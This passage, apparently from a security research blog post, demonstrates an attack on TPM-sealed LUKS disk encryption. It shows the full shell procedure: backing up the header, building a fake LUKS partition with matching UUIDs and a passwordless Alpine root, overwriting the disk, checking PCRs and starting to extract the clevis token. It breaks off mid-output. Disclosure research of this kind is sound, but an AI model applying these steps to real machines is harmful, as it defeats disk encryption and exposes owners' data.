&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;title&lt;/span&gt;&lt;span style="color: #98C379;"&gt; Fedora Linux&lt;/span&gt;&lt;span&gt; (6.11.4-301.fc41.x86_64) 41 (&lt;/span&gt;&lt;span style="color: #61AFEF;"&gt;Server&lt;/span&gt;&lt;span style="color: #98C379;"&gt; Edition&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;version&lt;/span&gt;&lt;span style="color: #98C379;"&gt; 6.11.4-301.fc41.x86_64&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;linux&lt;/span&gt;&lt;span style="color: #98C379;"&gt; /vmlinuz-6.11.4-301.fc41.x86_64&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;initrd&lt;/span&gt;&lt;span style="color: #98C379;"&gt; /initramfs-6.11.4-301.fc41.x86_64.img&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;options&lt;/span&gt;&lt;span style="color: #98C379;"&gt; root=UUID=1a887df4-286d-4842-bd66-d8993e8596d2 ro rd.luks.uuid=luks-779328d5-00ca-4ade-be44-6daa549642ed rhgb quiet&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;grub_users&lt;/span&gt;&lt;span style="color: #E06C75;"&gt; $grub_users&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;grub_arg&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; --unrestricted&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;grub_class&lt;/span&gt;&lt;span style="color: #98C379;"&gt; fedora&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Wow, this is looks like we already found all the important information! Judging
from the commandline syntax, this is likely an initrd that was generated by
dracut. There seems to be a LUKS encrypted partition with UUID
&lt;code&gt;779328d5-00ca-4ade-be44-6daa549642ed&lt;/code&gt; and a root file system with UUID
&lt;code&gt;1a887df4-286d-4842-bd66-d8993e8596d2&lt;/code&gt;, which is certainly inside of the LUKS
partition. The type of filesystem is not specified, so we are free to choose
anything that is supported by the initramfs for our fake.&lt;/p&gt;
&lt;h4 id="planning-our-exploit"&gt;&lt;span class="group"&gt;
&lt;span class="relative"&gt;
&lt;a class="select-none absolute pl-6 pr-2 end-0 top-1/2 -translate-y-1/2 invisible hover:visible group-hover:visible" style="font-size: 70%" href="#planning-our-exploit" aria-label="Anchor link for: planning-our-exploit"&gt;🔗&lt;/a&gt;
&lt;/span&gt;
&lt;!--
This might be the worst thing I've ever done. By omitting this closing tag on purpose,
we force the browser fix that mistake by inserting a matching closing tag _after_
the heading text. This allows us to construct a group around the text which
we would normally not be able to do in this template. Well, now cannot not know it anymore.
&lt;/span&gt;
--&gt;
Planning our exploit&lt;/h4&gt;
&lt;p&gt;In theory, we'd need to find out one additional thing - the binary that will be
called by the initrd when it want's to switch to the real system. But the
chances are very high that it is &lt;code&gt;/sbin/init&lt;/code&gt; (this is not the case on all
systems though, see the NixOS PoC below for an example). If our assumption
doesn't work out, we can still double check by extracting the initrd later.&lt;/p&gt;
&lt;p&gt;In order to confuse the initrd, we now need to:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Backup the original LUKS parition so we can later decrypt it&lt;/li&gt;
&lt;li&gt;Replace the LUKS partition with a fake LUKS partition that has the UUID &lt;code&gt;779328d5-00ca-4ade-be44-6daa549642ed&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;This LUKS partition must contain a filesystem with UUID &lt;code&gt;1a887df4-286d-4842-bd66-d8993e8596d2&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;The inner filesystem contains a &lt;code&gt;/sbin/init&lt;/code&gt; binary that does what we want&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;We may actually only backup the first few megabytes of the original LUKS
partition and make sure our fake partition is exactly the same size as our
backup. By overwriting just the beginning in this way we don't have to do a
full disk backup, which would otherwise take a very long time and would require
us to bring a spare disk with us.&lt;/p&gt;
&lt;h4 id="backup-the-beginning-of-the-original-luks-partition"&gt;&lt;span class="group"&gt;
&lt;span class="relative"&gt;
&lt;a class="select-none absolute pl-6 pr-2 end-0 top-1/2 -translate-y-1/2 invisible hover:visible group-hover:visible" style="font-size: 70%" href="#backup-the-beginning-of-the-original-luks-partition" aria-label="Anchor link for: backup-the-beginning-of-the-original-luks-partition"&gt;🔗&lt;/a&gt;
&lt;/span&gt;
&lt;!--
This might be the worst thing I've ever done. By omitting this closing tag on purpose,
we force the browser fix that mistake by inserting a matching closing tag _after_
the heading text. This allows us to construct a group around the text which
we would normally not be able to do in this template. Well, now cannot not know it anymore.
&lt;/span&gt;
--&gt;
Backup the beginning of the original LUKS partition&lt;/h4&gt;
&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="shellscript"&gt;&lt;span class="giallo-l"&gt;&lt;span&gt;[root@localhost]# dd&lt;/span&gt;&lt;span style="color: #E06C75;"&gt; if&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;=&lt;/span&gt;&lt;span style="color: #98C379;"&gt;/dev/nvme0n1p3&lt;/span&gt;&lt;span style="color: #E06C75;"&gt; of&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;=&lt;/span&gt;&lt;span style="color: #98C379;"&gt;/boot/luks-original.bak&lt;/span&gt;&lt;span style="color: #E06C75;"&gt; bs&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;=&lt;/span&gt;&lt;span style="color: #98C379;"&gt;64M&lt;/span&gt;&lt;span style="color: #E06C75;"&gt; count&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;=&lt;/span&gt;&lt;span style="color: #98C379;"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We'll abuse the free space on the boot partition to store this backup, which
makes it easy to access later. If you don't want to tamper too much with the
original disk, you can of course use a small thumb drive.&lt;/p&gt;
&lt;h4 id="create-fake-partition-and-filesystem-with-matching-uuids"&gt;&lt;span class="group"&gt;
&lt;span class="relative"&gt;
&lt;a class="select-none absolute pl-6 pr-2 end-0 top-1/2 -translate-y-1/2 invisible hover:visible group-hover:visible" style="font-size: 70%" href="#create-fake-partition-and-filesystem-with-matching-uuids" aria-label="Anchor link for: create-fake-partition-and-filesystem-with-matching-uuids"&gt;🔗&lt;/a&gt;
&lt;/span&gt;
&lt;!--
This might be the worst thing I've ever done. By omitting this closing tag on purpose,
we force the browser fix that mistake by inserting a matching closing tag _after_
the heading text. This allows us to construct a group around the text which
we would normally not be able to do in this template. Well, now cannot not know it anymore.
&lt;/span&gt;
--&gt;
Create fake partition and filesystem with matching UUIDs&lt;/h4&gt;
&lt;p&gt;Next, we create a &lt;code&gt;64MB&lt;/code&gt; file in which we will prepare our partition. The size
is a bit arbitrary, it just needs to cover the LUKS and inner filesystem header
and must fit our exploit binary. So we initialize a new LUKS partition with the
UUID from above, and then open it and format its contents with &lt;code&gt;ext4&lt;/code&gt;:&lt;/p&gt;
&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="shellscript"&gt;&lt;span class="giallo-l"&gt;&lt;span&gt;[root@localhost]# truncate -s 64MB /root/fakeluks&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;[root@localhost]# cryptsetup luksFormat /root/fakeluks --key-file &lt;/span&gt;&lt;span style="color: #98C379;"&gt;&amp;lt;(&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;echo&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; -n 1234&lt;/span&gt;&lt;span style="color: #98C379;"&gt;)&lt;/span&gt;&lt;span&gt; --uuid 779328d5-00ca-4ade-be44-6daa549642ed&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;[root@localhost]# cryptsetup open /root/fakeluks fakeluks --key-file &lt;/span&gt;&lt;span style="color: #98C379;"&gt;&amp;lt;(&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;echo&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; -n 1234&lt;/span&gt;&lt;span style="color: #98C379;"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;[root@localhost]# mkfs.ext4 /dev/mapper/fakeluks -U 1a887df4-286d-4842-bd66-d8993e8596d2&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;[root@localhost]# mount /dev/mapper/fakeluks /mnt/root&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="prepare-filesystem"&gt;&lt;span class="group"&gt;
&lt;span class="relative"&gt;
&lt;a class="select-none absolute pl-6 pr-2 end-0 top-1/2 -translate-y-1/2 invisible hover:visible group-hover:visible" style="font-size: 70%" href="#prepare-filesystem" aria-label="Anchor link for: prepare-filesystem"&gt;🔗&lt;/a&gt;
&lt;/span&gt;
&lt;!--
This might be the worst thing I've ever done. By omitting this closing tag on purpose,
we force the browser fix that mistake by inserting a matching closing tag _after_
the heading text. This allows us to construct a group around the text which
we would normally not be able to do in this template. Well, now cannot not know it anymore.
&lt;/span&gt;
--&gt;
Prepare filesystem&lt;/h4&gt;
&lt;p&gt;Now we could theoretically prepare a tiny binary that directly extracts the key
from the TPM, but it's far simpler just put a minimal Alpine image there and
install the necessary tools to do that manually. This will also easily fit into
&lt;code&gt;64MB&lt;/code&gt;. Let's proceed by preparing the Alpine filesystem:&lt;/p&gt;
&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="shellscript"&gt;&lt;span class="giallo-l"&gt;&lt;span&gt;[root@localhost]# cd /mnt/root&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;[root@localhost]# wget https://dl-cdn.alpinelinux.org/alpine/v3.21/releases/x86_64/alpine-minirootfs-3.21.2-x86_64.tar.gz&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;[root@localhost]# tar xvf alpine-minirootfs-3.21.2-x86_64.tar.gz&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;[root@localhost]# rm alpine-minirootfs-3.21.2-x86_64.tar.gz&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;[root@localhost]# cat /etc/resolv.conf &amp;gt; /mnt/root/etc/resolv.conf&lt;/span&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt; # Just for DNS resolution at this moment, so we can install packages in the chroot&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;[root@localhost]# chroot /mnt/root /sbin/apk add &lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;\ &lt;/span&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt; # Install some tools that we need&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; tpm2-tools&lt;/span&gt;&lt;span style="color: #98C379;"&gt; tpm2-tss-tcti-device jose cryptsetup&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;[root@localhost]# wget -O /mnt/root/bin/clevis-decrypt-tpm &lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;\&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; &amp;quot;https://raw.githubusercontent.com/latchset/clevis/0839ee294a2cbb0c1ecf1749c9ca530ef9f59f8f/src/pins/tpm2/clevis-decrypt-tpm2&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;[root@localhost]# chmod +x /mnt/root/bin/clevis-decrypt-tpm&lt;/span&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt; # Helper to retrieve password from TPM2&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;[root@localhost]# sed -i &lt;/span&gt;&lt;span style="color: #98C379;"&gt;&amp;#39;s/root:x/root:/&amp;#39;&lt;/span&gt;&lt;span&gt; /mnt/root/etc/passwd&lt;/span&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt; # Remove root password&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="overwriting-the-partition"&gt;&lt;span class="group"&gt;
&lt;span class="relative"&gt;
&lt;a class="select-none absolute pl-6 pr-2 end-0 top-1/2 -translate-y-1/2 invisible hover:visible group-hover:visible" style="font-size: 70%" href="#overwriting-the-partition" aria-label="Anchor link for: overwriting-the-partition"&gt;🔗&lt;/a&gt;
&lt;/span&gt;
&lt;!--
This might be the worst thing I've ever done. By omitting this closing tag on purpose,
we force the browser fix that mistake by inserting a matching closing tag _after_
the heading text. This allows us to construct a group around the text which
we would normally not be able to do in this template. Well, now cannot not know it anymore.
&lt;/span&gt;
--&gt;
Overwriting the partition&lt;/h4&gt;
&lt;p&gt;Finally, we unmount our fake filesystem and overwrite the first &lt;code&gt;64MB&lt;/code&gt; of
the original partition with it, then put the disk back into the original machine and
reboot:&lt;/p&gt;
&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="shellscript"&gt;&lt;span class="giallo-l"&gt;&lt;span&gt;[root@localhost]# umount /mnt/root&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;[root@localhost]# cryptsetup close /dev/mapper/fakeluks&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;[root@localhost]# sync&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;[root@localhost]# dd&lt;/span&gt;&lt;span style="color: #E06C75;"&gt; if&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;=&lt;/span&gt;&lt;span style="color: #98C379;"&gt;/root/fakeluks&lt;/span&gt;&lt;span style="color: #E06C75;"&gt; of&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;=&lt;/span&gt;&lt;span style="color: #98C379;"&gt;/dev/nvme0n1p3&lt;/span&gt;&lt;span style="color: #E06C75;"&gt; bs&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;=&lt;/span&gt;&lt;span style="color: #98C379;"&gt;64M&lt;/span&gt;&lt;span style="color: #E06C75;"&gt; count&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;=&lt;/span&gt;&lt;span style="color: #98C379;"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We will now be asked for the LUKS password we just set, since the automatic
decryption will obviously not trigger on our fake partition, which has no token
metadata. After entering our password from above, we are greeted by the Alpine
image. We can login as &lt;code&gt;root&lt;/code&gt; without a password:&lt;/p&gt;
&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="plain"&gt;&lt;span class="giallo-l"&gt;&lt;span&gt;Welcome to Alpine Linux 3.21&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;Kernel 6.11.4-301.fc41.x86_64 on an x86_64 (/dev/tty1)&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;localhost login: root&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;Welcome to Alpine!&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;localhost:~#&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="verifying-pcrs"&gt;&lt;span class="group"&gt;
&lt;span class="relative"&gt;
&lt;a class="select-none absolute pl-6 pr-2 end-0 top-1/2 -translate-y-1/2 invisible hover:visible group-hover:visible" style="font-size: 70%" href="#verifying-pcrs" aria-label="Anchor link for: verifying-pcrs"&gt;🔗&lt;/a&gt;
&lt;/span&gt;
&lt;!--
This might be the worst thing I've ever done. By omitting this closing tag on purpose,
we force the browser fix that mistake by inserting a matching closing tag _after_
the heading text. This allows us to construct a group around the text which
we would normally not be able to do in this template. Well, now cannot not know it anymore.
&lt;/span&gt;
--&gt;
Verifying PCRs&lt;/h4&gt;
&lt;p&gt;Now let's check whether any of the PCRs was affected by our operation:&lt;/p&gt;
&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="shellscript"&gt;&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;localhost:~#&lt;/span&gt;&lt;span style="color: #98C379;"&gt; tpm2_pcrread&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; sha1:&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; sha256:&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; 0&lt;/span&gt;&lt;span style="color: #98C379;"&gt; :&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 0x8C2AF609E626CC1687F66EA6D0E1A3605A949319514A26E7E1A90D6A35646FA5&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; 1&lt;/span&gt;&lt;span style="color: #98C379;"&gt; :&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 0x299B0462537A9505F6C63672B76A3502373C8934F08A921E1AA50D3ADF4BA83D&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; 2&lt;/span&gt;&lt;span style="color: #98C379;"&gt; :&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 0x3D458CFE55CC03EA1F443F1562BEEC8DF51C75E14A9FCF9A7234A13F198E7969&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; 3&lt;/span&gt;&lt;span style="color: #98C379;"&gt; :&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 0x3D458CFE55CC03EA1F443F1562BEEC8DF51C75E14A9FCF9A7234A13F198E7969&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; 4&lt;/span&gt;&lt;span style="color: #98C379;"&gt; :&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 0x5FDBD66C267BD9513DBC569DB0B389A37445E1AA463F9325EA921563E7FB37EB&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; 5&lt;/span&gt;&lt;span style="color: #98C379;"&gt; :&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 0x38A281376260137602E5C70F7A9057E4C55830D22A02BB5A66013D6AC2576D2F&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; 6&lt;/span&gt;&lt;span style="color: #98C379;"&gt; :&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 0x3D458CFE55CC03EA1F443F1562BEEC8DF51C75E14A9FCF9A7234A13F198E7969&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; 7&lt;/span&gt;&lt;span style="color: #98C379;"&gt; :&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 0x4770A4FB1DAC716FEADDD77FEC9A28BB2015E809A34ADD1A9D417EEC36EC1E17&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; 8&lt;/span&gt;&lt;span style="color: #98C379;"&gt; :&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 0xE3E23C0DA36FA31767885AEC7AEE3180FB2F5E0B67569C3A82C2A1C3CA88A651&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; 9&lt;/span&gt;&lt;span style="color: #98C379;"&gt; :&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 0x091F6917B0C8788779F4D410046250E6747043A8CD1BD75BF90713CC6DE30D99&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; 10:&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 0x2566BDF57C3AA880F7B0C480F479C0A88E0E72AE7EF3C1888035E7238BBE9257&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; 11:&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 0x0000000000000000000000000000000000000000000000000000000000000000&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; 12:&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 0x0000000000000000000000000000000000000000000000000000000000000000&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; 13:&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 0x0000000000000000000000000000000000000000000000000000000000000000&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; 14:&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 0x17CDEFD9548F4383B67A37A901673BF3C8DED6F619D36C8007562DE1D93C81CC&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; 15:&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 0x0000000000000000000000000000000000000000000000000000000000000000&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; 16:&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 0x0000000000000000000000000000000000000000000000000000000000000000&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; 17:&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; 18:&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; 19:&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; 20:&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; 21:&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; 22:&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; 23:&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 0x0000000000000000000000000000000000000000000000000000000000000000&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; sha384:&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; sm3_256:&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The output format is slightly different to that of &lt;code&gt;systemd-analyze pcrs&lt;/code&gt;, but
we can see that all values are the same as in the real system. Some boards
may have different values in PCR 1 after every power cycle, but don't worry, in
that case you can be sure that the owner didn't use it either. So this means
our attack was successful! We can now go ahead and retrieve the volume key of
the original partition.&lt;/p&gt;
&lt;h4 id="extracting-the-volume-key"&gt;&lt;span class="group"&gt;
&lt;span class="relative"&gt;
&lt;a class="select-none absolute pl-6 pr-2 end-0 top-1/2 -translate-y-1/2 invisible hover:visible group-hover:visible" style="font-size: 70%" href="#extracting-the-volume-key" aria-label="Anchor link for: extracting-the-volume-key"&gt;🔗&lt;/a&gt;
&lt;/span&gt;
&lt;!--
This might be the worst thing I've ever done. By omitting this closing tag on purpose,
we force the browser fix that mistake by inserting a matching closing tag _after_
the heading text. This allows us to construct a group around the text which
we would normally not be able to do in this template. Well, now cannot not know it anymore.
&lt;/span&gt;
--&gt;
Extracting the volume key&lt;/h4&gt;
&lt;p&gt;By quickly skimming &lt;a rel="external" href="https://github.com/latchset/clevis/blob/0839ee294a2cbb0c1ecf1749c9ca530ef9f59f8f/src/initramfs-tools/scripts/local-top/clevis.in#L78"&gt;the clevis
source&lt;/a&gt;
we find that it stores a JWE token in the LUKS header, which contains an
encrypted secondary key to unlock the partition. It also contains some metadata
required to have it decrypted by the TPM, like which PCRs have to be used in
the TPM context. Back when we inspected the LUKS header, we found the clevis
token in slot 0, so let's first extract this token:&lt;/p&gt;
&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="shellscript"&gt;&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;localhost:~#&lt;/span&gt;&lt;span style="color: #98C379;"&gt; mount&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; -o&lt;/span&gt;&lt;span style="color: #98C379;"&gt; remount,rw /&lt;/span&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt; # This alpine image is not writable by default&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;localhost:~#&lt;/span&gt;&lt;span style="color: #98C379;"&gt; mount /dev/nvme0n1p1 /mnt&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;localhost:~#&lt;/span&gt;&lt;span style="color: #98C379;"&gt; cryptsetup token export&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; --token-id 0&lt;/span&gt;&lt;span style="color: #98C379;"&gt; /mnt/luks-original.bak&lt;/span&gt;&lt;span&gt; |&lt;/span&gt;&lt;span style="color: #61AFEF;"&gt; tee&lt;/span&gt;&lt;span style="color: #98C379;"&gt; token.json&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; &amp;quot;type&amp;quot;&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;:&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;quot;clevis&amp;quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; &amp;quot;keyslots&amp;quot;&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;:&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; &amp;quot;1&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt; ],&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; &amp;quot;jwe&amp;quot;&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;:&lt;/span&gt;&lt;span style="color: #98C379;"&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; &amp;quot;ciphertext&amp;quot;&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;:&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;quot;hNNirkMsfcEWcVKfTFCY3JKNCk0x-8P4svgzkeulNhHnuaOdFQ4YfOCUUX9pkWvonfE2uivS&amp;quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; &amp;quot;encrypted_key&amp;quot;&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;:&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;quot;&amp;quot;,&lt;/span&gt;&lt;/span&gt;
